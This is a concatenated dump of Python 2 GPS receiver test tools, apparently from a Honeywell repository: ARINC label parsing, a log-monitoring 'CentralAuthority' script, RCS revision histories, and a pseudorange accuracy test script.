value = self(field_def[0], field_def[1])
try:
scale = field_def[2]
if scale < 0: # if tagged as two's-complement (BNR)
scale = -scale # remove tag
# convert value to two's-complement form
num_bits = field_def[0] - field_def[1] + 1
sign_bit = 1L << (num_bits - 1)
if value & sign_bit:
value -= (sign_bit << 1)
value *= scale
except IndexError:
pass # no scale factor supplied
except TypeError:
value = self(field_def)
setattr(self, field, value)
# print dir(self)
def __repr__(self):
"""Overrides Python's 'repr' function"""
if self.timestamp:
timestamp = self.timestamp + ' '
else:
timestamp = ''
return '%s%s:%3s:%06X : ' % \
(timestamp, self.BNR_SSM_STR[self.BNR_SSM], self.Lbl, self.Value)
def __str__(self):
"""Overrides Python's 'str' function"""
s = repr(self)
str_name = 'str' + self.Lbl
# print str_name
if hasattr(self, str_name):
s += getattr(self, str_name)() # call strxxx
else:
try:
# strxxx not found: make string from fields in self.DEFS
for attr in self.DEFS[self.Lbl]:
s += '%s=%s '% (attr, getattr(self, attr))
except KeyError:
s += 'Label %s = %s' % (self.Lbl, self.Value)
return s
def __call__(self, high_bit, low_bit=None):
"""Extracts bits from the label value using bit numbers in the form
used in the GNSS requirements"""
if low_bit is None:
low_bit = high_bit
mask = 1
else:
assert(high_bit >= low_bit)
mask = (1 << ((high_bit - low_bit) + 1)) - 1
# print high_bit, low_bit, mask
return (self.Value >> (low_bit - self.BIT_ADJUSTEMENT)) & mask
def is_normal(self):
"""Returns True if the label has a normal SSM."""
return self.BNR_SSM == self.BNR_SSM_NORMAL
### label-specfic functions
def str150(self):
return 'Time=%02d:%02d:%02d' % (self.Hours, self.Minutes, self.Seconds)
def str260(self):
return 'Date=%d%d/%d%d/%d%d' % (self.TensOfMonths, self.UnitsOfMonths,
self.TensOfDays, self.UnitsOfDays,
self.TensOfYears, self.UnitsOfYears)
if __name__ == '__main__':
print 'At this moment, the GPS time-of-week (TOW) is:', \
arinc.utc2tow(time.time())
<file_sep>/CentralAuthority.py
import time, os, thread # Needed to make sure not emailing too often
from multiprocessing import Pool # Speed up, but not peg CPU to process files
import fnmatch # All ways to walk all directories looking for new text files
import Monitor
import pytools.xpr_log as PyTools
import pytools.GroupMsgParser as MessageParser
import DataList
import EventScanner
import EventClass
import Config
print( "\n\nCentral Authority started without issue...\n" )
""" Load Modules for the Central Authority """
cMonitor = Monitor.Monitor()
cParser = MessageParser.GroupMsgParser()
cDataBase = DataList.DataList()
cScanner = EventScanner.EventScanner()
cEventClass = EventClass.EventClass()
cConfigLoader = Config.Config()
class CentralAuthority:
def __init__( self ):
""" VARIABLE DEFINITIONS FOR CUSTOMIZATION """
cConfigLoader.readConfig( "Config.ini" )
self.factorOfSafety = float( cConfigLoader.getVal( 'Default', 'Factor_Of_Safety' ) )
self.maxNumberOfThreads = int( cConfigLoader.getVal( 'Default', 'Max_Number_Of_Threads' ) )
self.desiredCheckingTime = float( cConfigLoader.getVal( 'Default', 'Factor_Of_Safety' ) )
cMonitor.startTimer( self.desiredCheckingTime )
self.currentDrive = cConfigLoader.getVal( 'Default', 'Drive' )
self.currentDirectory = cConfigLoader.getVal( 'Default', 'Directory' )
self.returnHDSpace = True if( cConfigLoader.getVal( 'Default', 'Display_HD_Space_Messages' ) == "True" ) else False
self.sizeOfEventFolder = float( cConfigLoader.getVal( 'Default', 'Max_Event_Space_Folder' ) )
""" Unique Event saying the CA started. """
cEventClass.logUniqueEvent( "NA", False, "CentralAuthority started " + cMonitor.returnDateAndTimeStr(), "NA" )
""" Main Loop """
while( cMonitor.programRunning() == True ):
if( ( cMonitor.isItTime() == True ) or ( cMonitor.firstTimeRunning() == True ) ):
cMonitor.restartTimer()
""" Checks if above a certain amount of space, then go ahead and parse new events. """
if( cMonitor.enoughSpaceToContinueProgram( self.currentDrive, self.currentDirectory, self.returnHDSpace ) == True ):
self.searchForNewGPSFiles()
self.proccessNewTextFiles()
else:
cEventClass.logUniqueEvent( "NA", False, "Server is near full. Please clear out old .txt and .gps files by hand.", "\\\\olt_gnss_001\\RemoteGNSSLogs\\" )
""" Check if EventFolder is past full. """
if( cMonitor.getSize( "\\ProcessedFiles\\" ) > self.sizeOfEventFolder ):
## delete corresponding event folders and old events until fits under 32 gb
cEventClass.logUniqueEvent( "NA", False, "EventFolder is near full. Please clear out old events ", "\\\\olt_gnss_001\\RemoteGNSSLogs\\" )
cMonitor.printCurrentDateAndTime()
if( cMonitor.isItTimeToSendNotifications() == True ): #Comment out this line if you want an email whenever there are new faults
cMonitor.sendFaultLogThroughEmail( cEventClass.getEventList( False ) )
cMonitor.showRunning( "Sending Email", 10 )
cMonitor.showRunning( "Running in the Background", 3 )
""" Will never get here. """
print( "Program finished without issue..." )
raw_input()
def searchForNewGPSFiles( self ):
""" Walks through all the directories above RemoteGNSSLogs looking for GPS files """
""" and converts the new ones to txt files. Processes only fifty *new* files at a time. """
print( "\n\n***********************************************" )
print( "******* Checking list for new gps files *******" )
print( "***********************************************" )
cMonitor.pause( 1.6 )
cMonitor.startThreadTimer()
threadCounter = 0
newFilesProcessed = 0
#'RemoteGNSSLogs' needs to be changed to olt_gnss_001
#Works if a drive is mapped to server and then called, i.e. os.walk('Z:\\') RemoteGNSSLogs
for dirpath, dirs, files in os.walk( 'C:\\GNSSLogsSS' ):
for filename in fnmatch.filter( files, '*.gps' ):
if( newFilesProcessed > 49 ):
break
currentPath = os.path.join( dirpath, filename )
newList = currentPath.split( "\\" , 6 )
if( cDataBase.locatePath( currentPath, newList[3], newList[1], newList[2], 'SortedGPS.dat' ) == False ):
newFilesProcessed = newFilesProcessed + 1
if( threadCounter < self.maxNumberOfThreads ):
self.threadedProcess( "GPSBin2Txt.exe", currentPath, newList[3], newList[1], newList[2], 'SortedGPS.dat' )
threadCounter = threadCounter + 1
else:
cDataBase.processGPSFile( "GPSBin2Txt.exe", currentPath )
# cDataBase.createPath( currentPath, newList[3], newList[1], newList[2], 'SortedGPS.dat' )
# cDataBase.appendPath( currentPath, newList[3], newList[1], newList[2], 'SortedGPS.dat' )
self.addToFile( currentPath, newList[3], newList[1], newList[2], 'SortedGPS.dat' )
threadCounter = 0
cMonitor.showRunning( "Processing GPS Data", 0.1 )
print( "\nFinished processing gps files." )
def threadedProcess( self, programName, currentPath, server, year, day, fileName ):
""" Threaded version of converting gps files to txt files. """
thread.start_new_thread( cDataBase.processGPSFile, ( programName, currentPath ) )
self.addToFile( currentPath, server, year, day, fileName )
def addToFile( self, currentPath, server, year, day, fileName ):
""" Checks if the server folder and day file exists. If not, """
""" it makes them and appends the new file path. """
cDataBase.createPath( currentPath, server, year, day, fileName )
cDataBase.appendPath( currentPath, server, year, day, fileName )
def proccessNewTextFiles( self ):
""" Walks through all the directories above RemoteGNSSLogs looking for txt files """
""" and parses the new ones. Processes only fifty *new* files at a time. """
print( "\n\n***********************************************" )
print( "****** Checking list for new text files ******" )
print( "***********************************************" )
cMonitor.pause( 1.6 )
""" Loads jagged list of events, their corresponding numbers, and what server it relates to. """
""" List looks like this... """
""" list[0] = server, list[1] = correspondingNumber, list[3:-2] = message, list[4] = filePath """
self.notificationServersAndEvents = cEventClass.getEventList( True )
newFilesProcessed = 0
#'RemoteGNSSLogs' needs to be changed to olt_gnss_001
#Works if a drive is mapped to server and then called, i.e. os.walk('Z:\\')
for dirpath, dirs, files in os.walk( 'C:\\GNSSLogsSS' ):
for filename in fnmatch.filter( files, '*.txt' ):
if( newFilesProcessed > 49 ):
break
currentPath = os.path.join( dirpath, filename )
newList = currentPath.split( "\\" , 6 )
tempTime = newList[5] # incremented the newList index by one in lines 144,146,147 to match my directory
fileTime = float(tempTime[8:12])
correspondingNumber = cEventClass.createCorrespondingNumber( int(newList[2]), int(newList[3]), fileTime )
stationid = newList[4]
if( cDataBase.locatePath( currentPath, newList[3], newList[1], newList[2], 'SortedData.dat' ) == False ):
newFilesProcessed = newFilesProcessed + 1
cParser.parse( currentPath ) ### Comment this out to speed up program and trouble shoot everything but parser
cDataBase.appendPath( currentPath, newList[3], newList[1], newList[2], 'SortedData.dat' )
if cScanner.eventCheck() is True:
"""If there are new events, goes through all-time list of events one by one to compare event type/number/station."""
"""Each event is handed to cScanner as a list."""
for line in self.notificationServersAndEvents:
cScanner.compareEvents(line, correspondingNumber, stationid)
"""After the events have been checked against pre-existing event list,"""
"""saves cScanner event list to file and grabs new complete list of events."""
detectTime = cMonitor.returnDateAndTimeStr()
#when data saving is implemented, need to change currentPath to
#location of copied data files
cScanner.saveEvents(detectTime, stationid, correspondingNumber, currentPath)
self.notificationServersAndEvents = cEventClass.getEventList( True )
cMonitor.showRunning( "Processing text Data", 0.1 )
print( "\nFinished processing txt files.\n" )
""" **************************************** """
""" Program starts here """
""" **************************************** """
""" **************************************** """
cCentralAuthority = CentralAuthority()<file_sep>/rcs/pr_diff.py
head 1.1;
branch ;
access ;
symbols 2PXRFS1:1.1 PVTSE_tests:1.1 HT_0113:1.1 TRR1:1.1;
locks ; strict;
comment @@;
1.1
date 2005.02.03.21.05.14; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@"""Extracts the difference between raw and smoothed pseudoranges from one or
more log files"""
from mode_changes import ModeChanges as Parser
import stats
class PRDiff(Parser):
def __init__(self):
Parser.__init__(self)
self.data = {}
def main(self, title):
Parser.main(self, title)
for prn in self.data.keys():
fname = 'pr_diff.prn' + str(prn)
print 'Writing', fname, '...',
f = open(fname, 'wt')
for diff in self.data[prn]:
print >> f, diff
f.close()
print 'done.'
def handle2C(self, msg):
if (not self.data.has_key(msg.prn)):
self.data[msg.prn] = []
self.data[msg.prn].append(msg.raw_pr - msg.smooth_pr)
if __name__ == '__main__':
PRDiff().main('Pseudorange differences')@
<file_sep>/rcs/arinc_concat_parser.py
head 1.8;
branch ;
access ;
symbols 2PXRFS1:1.8 PVTSE_tests:1.8 HT_0113:1.8 TRR1:1.8 SCR2531:1.6;
locks ; strict;
comment @@;
1.8
date 2008.11.05.09.23.11; author Bejoy.Sathyaraj; state In_Progress;
branches ;
next 1.7;
1.7
date 2007.12.19.23.06.15; author Grant.Griffin; state In_Progress;
branches ;
next 1.6;
1.6
date 2007.12.13.19.58.06; author Grant.Griffin; state In_Progress;
branches ;
next 1.5;
1.5
date 2007.11.01.19.22.13; author Grant.Griffin; state In_Progress;
branches ;
next 1.4;
1.4
date 2007.10.30.19.54.42; author Grant.Griffin; state In_Progress;
branches ;
next 1.3;
1.3
date 2007.10.26.22.26.26; author Grant.Griffin; state In_Progress;
branches ;
next 1.2;
1.2
date 2007.10.26.21.24.06; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2007.10.25.20.19.23; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.8
log
@Fixed the ARINC parsing issues@
text
@""" arinc_concat_parser.py: This module provides a framework to process ARINC
log files, simiilar to arinc_log.py. However, it automatically concatenates
sets of related labels into aggregate objects which can be handled as a unit.
Copyright 2007, Honeywell International Inc.
Usage is similar to arinc_log.py. To handle concatenated data, override one
of the handlers at bottom.
"""
__version__ = '$Revision: 1.7 $'
import time
from arinc_log import Parser as BaseParser
from arinc import GPS_PI, utc2tow
class Parser(BaseParser):
""" ARINC concatenation parser """
# the following are ids of labels that don't have handlers but need to be
# concatenated
concat_ids = (
61, # pseudorange
60, 65, 66, 70, 71, 72, # SV status and position
110, 111, 120, # GNSS position
140, 141, 260 # UTC
)
def __init__(self):
BaseParser.__init__(self)
self.labels = {}
def __call__(self, num):
""" Returns the given label number (in octal, expressed as if it were
decimal: 0123 octal = 123 decimal) and deletes the label from the
dictionary of known labels """
label = self.labels[num]
del self.labels[num]
return label
def get_parse_ids_from_handlers(self):
BaseParser.get_parse_ids_from_handlers(self)
# add concat_ids to the list of ids to be parsed (by default handler
# below)
for id in self.concat_ids:
self.ids_to_parse[str(id)] = True
# print 'ids to parse:', self.ids_to_parse.keys()
#-----------------------------------------------------------
# handlers and related support functions
def handle(self, label):
""" Adds the label to self.labels for later use by another handler. """
# print 'Storing label', label
self.labels[int(label.Lbl)] = label
def concat(self, coarse_id, coarse_upper, coarse_lower,
fine_id, fine_upper, fine_lower, scale):
""" Returns the composite value of the specified upper/lower bit number
of the specified labels """
coarse_label = self(coarse_id)
coarse = long(coarse_label(coarse_upper, coarse_lower))
fine_label = self(fine_id)
fine = long(fine_label(fine_upper, fine_lower))
value = (coarse << (fine_upper - fine_lower + 1)) | fine
if coarse_label(29):
# adjust for negative
value -= 1L << ( (coarse_upper - coarse_lower) \
+ (fine_upper - fine_lower) + 2)
value *= scale
# print coarse_label, fine_label
return value
def handle62(self, label):
self.handle(label)
""" Handles pseudorange labels: 61/62 """
try:
PseudoRange = self.concat(61, 28, 9, 62, 28, 18, 0.125)
self.handle_pseudorange(PseudoRange)
except KeyError:
pass # one of the pseudorange labels isn't available
def get_position(self, coarse_id, fine_id):
"""" Returns the postion using the specified coarse and fine label numbers """
return self.concat(coarse_id, 28, 9, fine_id, 28, 15, 0.00390625)
def handle73(self, label):
""" Handles SV position labels: 65/66, 70/71, 72/73 """
self.handle(label)
try:
x = self.get_position(65, 66)
y = self.get_position(70, 71)
z = self.get_position(72, 73)
self.handle_sv_position(x, y, z)
except KeyError:
pass # one of the position labels isn't available
def handle74(self, label):
try:
seconds = self.utc_seconds
except AttributeError:
return
# strip 1's place of seconds and add on meas time
meas_seconds = (int(seconds / 10.0) * 10.0) + label.UTCMeasurementTime
# handle possible wrap-around
if meas_seconds < seconds - 5.0:
meas_seconds += 10.0
self.handle_utc_measurement_time(meas_seconds)
def handle121(self, label):
""" Handles GNSS position labels 110/120 and 111/121 """
self.handle(label)
try:
scale = GPS_PI * 2**-31
lat = self.concat(110, 28, 9, 120, 28, 18, scale)
lon = self.concat(111, 28, 9, 121, 28, 18, scale)
self.handle_gnss_position(lat, lon)
except KeyError:
pass
def handle150(self, label):
""" Handles UTC labels: 141, 150, and 160 """
try:
L260 = self(260)
# print dir(L260)
tm_mday = 10 * L260.TensOfDays + L260.UnitsOfDays
tm_mon = 10 * L260.TensOfMonths + L260.UnitsOfMonths
tm_year = 10 * L260.TensOfYears + L260.UnitsOfYears
self.utc_seconds = time.mktime( \
(tm_year, tm_mon, tm_mday, label.Hours,
label.Minutes, label.Seconds, 0, 0, -1 ))
self.utc_seconds += self(140).FractionsOfASecond \
+ self(141).FineFractionsOfASecond
self.handle_utc(self.utc_seconds)
except KeyError:
pass
#-----------------------------------------------------------
# placeholders for concatenated-data handlers
def handle_sv_position(self, x, y, z):
""" Handle satellite position in ECEF format """
pass
def handle_gnss_position(self, lat_rads, lon_rads):
""" Handle GNSS position in radians of lat/lon """
pass
def handle_pseudorange(self, PseudoRange):
""" Handle pseudorange """
pass
def handle_utc(self, seconds):
""" Handle UTC time. 'seconds' is seconds since the UNIX epoch,
similar to the return value of Python's time.time() """
pass
def handle_utc_measurement_time(self, seconds):
""" Handle UTC measurement time. 'seconds' is as described in
handle_utc(). """
pass
class TestParser(Parser):
""" Test class for Parser. Prints concatenated values. """
def handle273(self, label):
print # print a blank line to delimit this label set
def handle_gnss_position(self, lat_rads, lon_rads):
print '%s: lat=%0.15f, lon=%0.15f' % (self.timestamp, lat_rads, lon_rads)
def handle_sv_position(self, x, y, z):
try:
self.sv = self(60).SVID
except KeyError:
return # missing label 060
print '%s: PRN=%2d X=%f Y=%f Z=%f' % (self.timestamp, self.sv, x, y, z)
def handle_pseudorange(self, PseudoRange):
print '%s: PseudoRange=%f' % (self.timestamp, PseudoRange)
def handle_utc(self, seconds):
tm = time.gmtime(seconds)
s = time.strftime("%a, %d %b %Y %H:%M:%S", tm)
fraction_s = ('%0.3f' % (seconds % 1.0, ))[2:]
tow = utc2tow(seconds)
print '%s: UTC time=%s.%s TOW=%0.3f' % (self.timestamp, s, fraction_s, tow)
def handle_utc_measurement_time(self, seconds):
print '%s: Measurement TOW=%0.3f' % (self.timestamp, utc2tow(seconds), )
if __name__ == '__main__':
import sys
try:
fname = sys.argv[1]
except IndexError:
fname = 'export.raw'
TestParser().main('ARINC Concat Parser Test', fname)@
1.7
log
@reworked@
text
@d77 1
d185 1
a185 1
tm = time.localtime(seconds)
@
1.6
log
@made various improvements resulting from work on SCR 2531@
text
@d1 12
d14 2
a15 2
from arinc_log import ArincParser as Parser
from arinc_log import GPS_PI
d17 2
a18 1
class ArincConcatParser(Parser):
d22 1
a22 1
concat_ids = [
d27 1
a27 1
]
d30 1
a30 1
Parser.__init__(self)
d42 1
a42 1
Parser.get_parse_ids_from_handlers(self)
d99 12
d130 6
a135 5
tm_sec = label.Seconds + self(140).FractionsOfASecond \
+ self(141).FineFractionsOfASecond
tm = ( tm_year, tm_mon, tm_mday, label.Hours, label.Minutes,
tm_sec, 0, 0, -1 )
self.handle_utc(tm) # tm is a Python time_struct (9-tuple)
d154 3
a156 2
def handle_utc(self, tm):
""" Handle UTC time. tm is a Python time_struct (9-tuple) """
a157 2
class ArincConcatTestParser(ArincConcatParser):
d159 11
a173 1
#XXX label 60 doesn't come through so this doesn't print anything
d175 4
a178 3
print 'SV = %d, X = %f, Y = %f, Z = %f' % (self[60].SVID, x, y, z)
except:
pass # missing label 060
d181 1
a181 1
print 'PseudoRange = ', PseudoRange
d183 2
a184 8
def handle_utc(self, tm):
# convert between Python's two time representations to calculate
# day-of-the-week. note that this truncates seconds
fraction = tm[5] % 1.0
tm = list(tm)
tm[5] = int(tm[5])
tm = tuple(tm)
tm = time.localtime(time.mktime(tm))
d186 3
a188 3
fraction_s = ('%0.3f' % (fraction, ))[2:]
print 'Time = %s.%s' % (s, fraction_s)
print
d190 3
d199 1
a199 1
ArincConcatTestParser().main('ArincConcatParser Test', fname) @
1.5
log
@@
text
@d3 1
d7 8
a14 1
concat_ids = ( 61, 140, 141, 260 )
d36 27
d64 1
d66 2
a67 2
# get pseudorange elements and convert each to a Python long
label61 = self(61)
d69 5
a73 11
return # label 61 isn't available
pr61 = label61.PseudoRange * 1L
pr62 = label.PseudoRange * 1L
PseudoRange = (pr61 << 11) | pr62
# convert PseudoRange from bits to signed integer
if label61(29): # if pr is negative
PseudoRange -= 0x100000000L # subtract 2^32
## print '%06X, %06X : %d %06X %03X %f %X' % \
## (label61.Value, label.Value, label61(29), pr61, pr62, PseudoRange, PseudoRange)
PseudoRange *= 0.125 # scale to meters
self.handle_pseudorange(PseudoRange)
d75 22
d98 1
d113 5
a117 1
def handle_pseudorange(self):
d120 8
d129 1
a130 5
def handle(self, label):
""" Adds the label to self.labels for later use by another handler. """
# print 'Storing label', label
self.labels[int(label.Lbl)] = label
d134 10
d150 4
d155 4
a158 1
print 'Time =', time.strftime("%a, %d %b %Y %H:%M:%S", tm)
@
1.4
log
@@
text
@a26 1
print self.ids_to_parse
d30 1
a31 12
PseudoRange = (label61.PseudoRange << 11) | label.PseudoRange
# convert 30-bit PseudoRange from bits to signed integer
if PseudoRange > 0x1FFFFFFF: # if PseudoRange > 2^29 - 1
PseudoRange -= 0x20000000 # subtract 2^29
# scale to meters
PseudoRange *= 0.125
## PseudoRange2 = label61.PseudoRange * 256.0 + label.PseudoRange * 0.125
## print 'Pseudorange1=', PseudoRange, 'Pseudorange2=', PseudoRange2, 'Difference=', (PseudoRange - PseudoRange2)
self.handle_pseudorange(PseudoRange)
d33 11
a43 1
pass
@
1.3
log
@reworked for "raw" data format@
text
@d13 3
d31 5
a35 4
PseudoRange = (self(61).PseudoRange << 11) | label.PseudoRange
# convert 21-bit PseudoRange from bits to signed integer
if PseudoRange > 0x0FFFFF: # if PseudoRange > 2^20 - 1
PseudoRange -= 0x100000 # subtract 2^20
d39 4
d85 6
a90 1
ArincConcatTestParser().main('ArincConcatParser Test', 'export.raw') @
1.2
log
@@
text
@d71 3
a73 1
# print tm
d77 1
a77 1
ArincConcatTestParser().main('ArincConcatParser Test', 'export.csv') @
1.1
log
@Initial revision@
text
@d1 1
d6 2
d10 1
a10 2
self.PseudoRange61 = None
self.Seconds = 0.0
d12 4
a15 2
def handle61(self, label):
self.PseudoRange61 = label.PseudoRange
d17 9
d27 11
a37 4
if self.PseudoRange61 is None:
return
PseudoRange = (self.PseudoRange61 << 11) | label.PseudoRange
self.PseudoRange61 = None
d39 14
a52 3
# convert 21-bit PseudoRange from bits to signed integer
if PseudoRange > 0x0FFFFF: # if PseudoRange > 2^20 - 1
PseudoRange -= 0x100000 # subtract 2^20
d54 2
a55 3
# scale to meters
PseudoRange *= 0.125
self.handlePseudoRange(PseudoRange)
d57 2
a58 2
def handle140(self, label):
self.Seconds = label.FractionsOfASecond
d60 4
a63 2
def handle141(self, label):
self.Seconds += label.FineFractionsOfASecond
a64 5
def handle150(self, label):
label.Seconds += self.Seconds
self.handleTime(label)
self.Seconds = 0.0
d67 1
a67 1
def handlePseudoRange(self, PseudoRange):
d70 3
a72 2
def handleTime(self, label):
print 'Time = %02d:%02d:%02f' % (label.Hours, label.Minutes, label.Seconds)
@
<file_sep>/pytools/Other Pytools/pracc.py
""" pracc.py: pseudorange-accuracy data calculation
Copyright 2004-2007, Honeywell International Inc.
This script is used to calculate pseudorange accuracy of a GPS/WAAS receiver
as defined in RTCA/DO-229C, Section 2.1.4.1.
Use it as follows:
- Using GPS Host or a similar program, acquire a binary log file of receiver
output data in XPR format. (Note that the overbounding test requies packet
0x55 to be present in the log file, so that packet should be turned on prior
to logging.)
- Run the data through gpsbin2txt to convert it to a text format. (This script
will do that automatically if its input file ends in '.gps'.)
- Post-process the data using this script. It then prints the RMS_PR value and
other statistics, and also writes a variety of related data files.
"""
__author__ = '<NAME>'
__version__ = '$Revision: 1.37 $'
# import Python library units
import sys, os, os.path, math, re
# import support units
import svranges, rawlog_info, stats, stdout_logger, pracc_data
from pracc_data import *
units = (svranges, rawlog_info, stats, stdout_logger, pracc_data)
#-----------------------------------------------------------------------------
# functions
def print_header():
"""Prints the program name and version"""
version_re = re.compile(r'[\d\.]+')
m = version_re.search(__version__)
print '-------------------------------------------------------------------------------'
print 'Pseudorange Accuracy Test, pracc.py %s' % (m.group(0), )
print 'Python:'
print ' ', sys.version
print 'Support units:'
for unit in units:
print ' ', unit.__name__,
try:
m = version_re.search(unit.__version__)
print m.group(0)
except AttributeError:
print # unit doesn't have __version__
print
#-----------------------------------------------------------------------------
# classes
class PseudorangeAccuracyTest:
"""Calculates pseudorange accuracy using data from an XPR log file"""
def __init__(self, use_sbas=True):
self.use_sbas = use_sbas
self.last_rawlog_number = -1
self.num_tests_run = self.num_tests_passed = 0
self.prn_errs = {}
self.reset_test_results()
def set_parser_type(self, xpr_parser):
if xpr_parser:
print 'Using PXpress parser'
import pracc_xpr_parser
self.parser = pracc_xpr_parser.PseudorangeAccuracyXprParser()
else:
print 'Using ARINC parser'
import pracc_arinc_parser
self.parser = pracc_arinc_parser.PraccArincParser()
self.parser.use_sbas = self.use_sbas
self.parser.restart()
def set_test_type(self, test_accuracy):
self.test_accuracy = self.parser.test_accuracy = test_accuracy
def reset_test_results(self):
self.nis = self.m = 0
self.rms_pr = None
def get_test_name(self):
return ('overbounding', 'accuracy')[self.test_accuracy]
def write_ss_sigma(self):
try:
fname = self.get_out_fname()[:-7] + 'AvgSigma.csv'
except AttributeError:
return
f = open(fname, 'w')
#print "Average sigma noise during steady state"
#print " PRN Avg Sig Noise Count"
print >> f, "PRN,Avg Sig Noise,Count"
prns = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,
28,29,30,31,32,120,121,122,123,124,125,126,127,128,129,130,131,132,133,
134,135,136,137,138]
max_avg_gps_sig = -1.0
max_avg_sbas_sig = -1.0
for prn in prns:
try:
sum = 0.0
for ssn in self.ssn_data[prn]:
sum += ssn
avg_sig = sum/len(self.ssn_data[prn])
print >> f, "%d,%f,%d" % (prn, avg_sig, len(self.ssn_data[prn]))
if prn < MIN_SBAS_PRN:
if avg_sig > max_avg_gps_sig:
max_avg_gps_sig = avg_sig
else:
if avg_sig > max_avg_sbas_sig:
max_avg_sbas_sig = avg_sig
except KeyError:
print >> f, "%d,%f,%d" % (prn, -1, 0)
print >> f, "%d,%f,%d" % (0, max_avg_gps_sig, 0)
print >> f, "%d,%f,%d" % (0, max_avg_sbas_sig, 0)
f.close()
def check_passed(self):
"""Checks test results for pass/fail"""
passed = False
print '\n%s Test Result:' % (self.get_test_name().capitalize(), )
print ' RMS_PR for %i independent samples over %i intervals is %0.6f' % \
(self.nis, self.m, self.rms_pr)
if (self.nis < pass_thresholds[0][0]):
print ' FAIL due to having too few samples'
else:
for (threshold_num_samples, threshold) in pass_thresholds:
if (self.nis >= threshold_num_samples and \
self.rms_pr <= threshold):
passed = True
break
if passed:
print ' PASS'
else:
print ' FAIL due to excessive RMS_PR'
self.num_tests_run += 1
self.num_tests_passed += passed
return passed
def calculate(self):
"""Calculates pseudorange accuracy from data contained in the object"""
acc_data_dict = AccuracyDataDict()
msgs = self.parser.prn_msgs
prns = msgs.keys()
prns.sort()
print 'PRN measurement counts:\n ',
for prn in prns:
print '%d:%d' % (prn, len(msgs[prn])),
print
for prn in prns:
try:
svrange = self.svranges[prn]
except:
print 'No svrange data found for PRN', prn
continue
fname = 'pracc_pt_%s.txt' % (prn, )
f = open(fname, 'wt')
prn_msgs = self.parser.prn_msgs[prn]
# print 'PRN', prn, 'has', len(prn_msgs), 'measurements'
for svdata in prn_msgs[:-1]: #XXX
# get truth range at TOW closest to this svdata
index = svrange.get_tow_index(svdata.tow)
if index < 2:
print 'PRN %i: truth data not found at measurement TOW %f' % (prn, svdata.tow)
break
svtruth = svrange[index]
# get clock bias at TOW closest to this svdata
cbias = self.parser.cbiases.get(svdata.tow)
if abs(svdata.tow - cbias.tow) > 0.1:
print 'PRN %i: clock bias not found at measurement TOW %f' % (prn, svdata.tow)
break
# propagate truth range to this TOW
prev_svtruth = svrange[index - 1]
next_svtruth = svrange[index + 1]
timedelta = svdata.tow - cbias.bias - svtruth.tow
if abs(timedelta) > 1.0:
print 'PRN %i: excessive delta time of %f at TOW %f:' % \
(prn, timedelta, svdata.tow)
break
prop_truthrange = svtruth.range + svtruth.deltarange * timedelta \
+ (0.5 * ((next_svtruth.deltarange - svtruth.deltarange) \
/ (next_svtruth.tow - svtruth.tow)) * timedelta * timedelta)
# calculate error between measured range and propagated truth
# range and add it to the accuracy data dictionary
error = svdata.pr - prop_truthrange
try:
mbias = error / svtruth.deltarange
except ZeroDivisionError:
mbias = 0.0
print >> f, '%15.15f %15.15f %15.15f %15.15f' % (svdata.tow, error, mbias, svtruth.deltarange)
acc_data_dict.add_data(svdata.tow, prn, error, svdata.pr_sigma, svdata.pr_sigma_3b)
f.close()
return acc_data_dict.test(prns, self.fname, self.parser.excluded_prns,
not self.test_accuracy)
def test(self, reset=True, show_title=True, check=True):
if reset:
self.reset_test_results()
if show_title:
print '\n------------------------------------------------------------';
print 'Testing %s of %s' % (self.get_test_name(), self.fname)
self.parser.min_measurement_tow = None
#if self.test_accuracy:
# self.parser.min_measurement_tow = self.accuracy_test_tow + SETTLING_TIME_SEC
#else:
# self.parser.min_measurement_tow = self.overbounding_test_tow
#if ((self.overbounding_test_tow is not None) and
# (self.accuracy_test_tow is not None) and
# (self.overbounding_test_tow > self.accuracy_test_tow)):
# raise ValueError, 'Test start TOW must be less than or equal to power adjustment TOW'
print
self.parser.restart()
self.parser.main('', self.fname)
# self.dump()
(nis, m, rms_pr, prn_errs, ssn_data) = self.calculate()
# incorporate these RMS_PR statistics into self
if self.nis == 0:
self.rms_pr = rms_pr
else:
old_rms_pr = self.rms_pr
self.rms_pr = math.sqrt((self.m * self.rms_pr * self.rms_pr \
+ m * rms_pr * rms_pr) / (m + self.m))
self.nis += nis
self.m += m
if self.test_accuracy:
# incorporate these PRN errors into self
for prn in prn_errs.keys():
if not self.prn_errs.has_key(prn):
self.prn_errs[prn] = []
self.prn_errs[prn] += prn_errs[prn]
self.ssn_data = ssn_data
self.write_ss_sigma()
if check:
return self.check_passed()
else:
return False # assume failure
class PseudorangeAccuracyTestFromCommandLine(PseudorangeAccuracyTest):
"""Tests pseudorange accuracy of logs specified on the command line or a
'rawlog info' command file"""
def __init__(self):
PseudorangeAccuracyTest.__init__(self)
self.rawlog_info_dict = rawlog_info.RawlogInfoDict()
self.svranges = svranges.read()
def get_parms(self):
self.fname = 'rawlog%s.gps' % (self.rawlog_number, )
try:
info = self.rawlog_info_dict[self.rawlog_number]
self.overbounding_test_tow = info.tow1
self.accuracy_test_tow = info.tow2
self.test_min_signal = self.parser.min_signal = info.min_signal
print 'Settings for %s from TOW file %s:' % (self.fname, self.rawlog_info_dict.fname)
print ' Power setting :', { True:'min', False:'max' }[self.test_min_signal]
print ' Test start TOW :', self.overbounding_test_tow
print ' Power adjustment TOW :', self.accuracy_test_tow
except KeyError:
# print self.rawlog_info_dict.keys()
# print self.rawlog_number, type(self.rawlog_number)
if self.rawlog_number != self.last_rawlog_number:
while True:
s = raw_input('Test min or max signal power? [min|max] : ').lower()
if s == 'min':
self.test_min_signal = self.parser.min_signal = True
break
elif s == 'max':
self.test_min_signal = self.parser.min_signal = False
break
s = raw_input('Test start TOW for overbounding test? : ')
try:
self.overbounding_test_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
self.overbounding_test_tow = None
s = raw_input('Power adjustment TOW for accuracy test? : ')
try:
self.accuracy_test_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
self.accuracy_test_tow = None
self.last_rawlog_number = self.rawlog_number
if self.test_min_signal:
self.parser.excluded_prns = MIN_SIGNAL_EXCLUDED_PRNS
else:
self.parser.excluded_prns = []
